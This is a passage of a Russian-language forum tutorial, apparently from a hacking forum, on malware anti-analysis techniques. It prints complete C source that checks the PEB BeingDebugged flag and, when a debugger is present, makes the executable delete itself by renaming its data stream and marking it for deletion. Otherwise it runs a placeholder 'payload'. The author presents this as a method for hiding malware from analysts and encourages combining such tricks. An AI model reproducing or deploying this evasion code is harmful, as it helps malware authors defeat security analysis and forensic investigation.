Мы используем функцию SetFileInformationByHandle, чтобы пометить файл для удаления. Мы передаем ей хэндл файла handleFile, тип информации FileDispositionInfo, указатель на структуру SetDelete, содержащую информацию о пометке файла для удаления, и размер этой структуры. Если операция пометки файла для удаления не удалась (т.е. функция возвращает FALSE), мы выводим сообщение об ошибке и возвращаем код ошибки.
После успешной операции пометки файла для удаления мы выводим сообщение о завершении этапа. Затем мы закрываем хэндл файла с помощью функции CloseHandle, чтобы применить изменения. После закрытия хэндла мы освобождаем выделенный ранее буфер, используя функцию HeapFree, и возвращаем успешный код завершения операции. Ну и, наконец, перейдем к функции main():
C: Скопировать в буфер обмена
Код:
[...]
int main(void) {
if (!CheckDebugger()) {
asterisk("Запускаем полезную нагрузку");
MessageBoxW(NULL, L"XSS.is", L"PoC", MB_ICONEXCLAMATION);
return 0;
}
asterisk("Самоуничтожение\n");
HastaLaVistaBaby();
}
В функции main сначала мы вызываем функцию CheckDebugger для проверки наличия отладчика. Если отладчик не обнаружен, происходит запуск полезной нагрузки, в данном случае просто вызывается функция MessageBoxW для демонстрации работоспособности.
Если отладчик обнаружен, вызывается функция HastaLaVistaBaby, которая выполняет самоуничтожение программы.
После завершения выполнения функции HastaLaVistaBaby управление возвращается в функцию main, которая завершает свою работу. Если отладчик не обнаружен и выполнение дошло до конца функции main, она возвращает 0, указывая на успешное завершение программы.
Полный код основной программы:
Спойлер: hastalavistababy.c
C: Скопировать в буфер обмена
Код:
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
#define plus(msg, ...) printf("[+] " msg "\n", ##__VA_ARGS__)
#define minus(msg, ...) printf("[-] " msg "\n", ##__VA_ARGS__)
#define asterisk(msg, ...) printf("[*] " msg "\n", ##__VA_ARGS__)
#define NEW_STREAM L":XSS"
extern PPEB GetPEB(void);
extern DWORD CustomError(void);
BOOL CheckDebugger(void) {
asterisk("Получаем PEB");
PPEB pPEB = GetPEB();
plus("---> 0x%p\n", pPEB);
asterisk("Проверяем на наличие отладчика");
plus("PEB -> BeingDebugged: 0x%d", pPEB->BeingDebugged);
if (pPEB->BeingDebugged != 0) {
minus("Отладчик замечен\n");
return TRUE;
}
plus("Отладчик не был замечен\n");
return FALSE;
}
int HastaLaVistaBaby(void) {
HANDLE handleFile = INVALID_HANDLE_VALUE;
const wchar_t* NEWSTREAM = (const wchar_t*)NEW_STREAM;
size_t RenameSize = sizeof(FILE_RENAME_INFO) + sizeof(NEWSTREAM);
PFILE_RENAME_INFO PFRI = NULL;
WCHAR PathSize[MAX_PATH * 2] = { 0 };
FILE_DISPOSITION_INFO SetDelete = { 0 };
PFRI = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, RenameSize);
if (!PFRI) {
minus("Не удалось выделить память, ошибка: 0x%lx", CustomError());
return 1;
}
plus("Память для FILE_RENAME_INFO [0x%p] выделена\n", PFRI);
asterisk("Очистка некоторых структур");
ZeroMemory(PathSize, sizeof(PathSize));
ZeroMemory(&SetDelete, sizeof(FILE_DISPOSITION_INFO));
plus("Завершено\n");
asterisk("Помечаем файл для удаления");
SetDelete.DeleteFile = TRUE;
plus("Завершено\n");
PFRI->FileNameLength = sizeof(NEWSTREAM);
plus("Устанавливаем FILE_RENAME_INFO -> FileNameLength значение, равное %S", NEWSTREAM);
RtlCopyMemory(PFRI->FileName, NEWSTREAM, sizeof(NEWSTREAM));
plus("Перезаписываем FILE_RENAME_INFO -> FileName потоком данных %S", NEWSTREAM);
plus("---> %S\n", PFRI->FileName);
asterisk("Получаем текущее имя файла");
if (GetModuleFileNameW(NULL, PathSize, MAX_PATH * 2) == 0) {
minus("Не удалось получить текущее имя файла, ошибка: 0x%lx", CustomError());
return 1;
}
plus("Завершено\n");
asterisk("Начинаем процесс переименования\n");
asterisk("Получаем хэндл текущего файла");
handleFile = CreateFileW(PathSize, (DELETE | SYNCHRONIZE), FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
if (handleFile == INVALID_HANDLE_VALUE) {
minus("Не удалось получить хэндл файла, ошибка: 0x%lx", CustomError());
return 1;
}
plus("---> 0x%p\n", handleFile);
asterisk("Переименование");
if (!SetFileInformationByHandle(handleFile, FileRenameInfo, PFRI, RenameSize)) {
minus("Не удалось перезаписать поток данных, ошибка: 0x%lx", CustomError());
}
plus("Завершено\n");
asterisk("Закрываем хэндл, чтобы применить изменения");
CloseHandle(handleFile);
plus("Завершено. Приступаем ко второй части\n");
asterisk("Снова получаем хэндл текущего файла");
handleFile = CreateFileW(PathSize, (DELETE | SYNCHRONIZE), FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
if (handleFile == INVALID_HANDLE_VALUE) {
minus("Не удалось получить хэндл файла, ошибка: 0x%lx", CustomError());
return 1;
}
plus("---> 0x%p\n", handleFile);
asterisk("Помечаем файл для удаления");
if (!SetFileInformationByHandle(handleFile, FileDispositionInfo, &SetDelete, sizeof(SetDelete))) {
minus("Не удалось пометить файл для удаления, ошибка: 0x%lx", CustomError());
return 1;
}
plus("Завершено\n");
asterisk("Закрываем хэндл, это должно удалить файл");
CloseHandle(handleFile);
asterisk("Освобождаем выделенный буфер");
HeapFree(GetProcessHeap(), 0, PFRI);
return 0;
}
int main(void) {
if (!CheckDebugger()) {
asterisk("Запускаем полезную нагрузку");
MessageBoxW(NULL, L"XSS.is", L"PoC", MB_ICONEXCLAMATION);
return 0;
}
asterisk("Самоуничтожение\n");
HastaLaVistaBaby();
}
Проведем тест нашего детища. Для начала запуск без отладки:
Теперь с использованием отладки:
Иии... наш файл самоуничтожается. Прям как железный Арнольд =)
Вот в принципе и все. Мы разобрали некоторые из методов анти-анализа мальвари. Само собой лучше всего комбинировать их и вообще не забывать про собственную находчивость и креативность, не бояться эксперементировать. Благодарю за внимание! Всем успехов!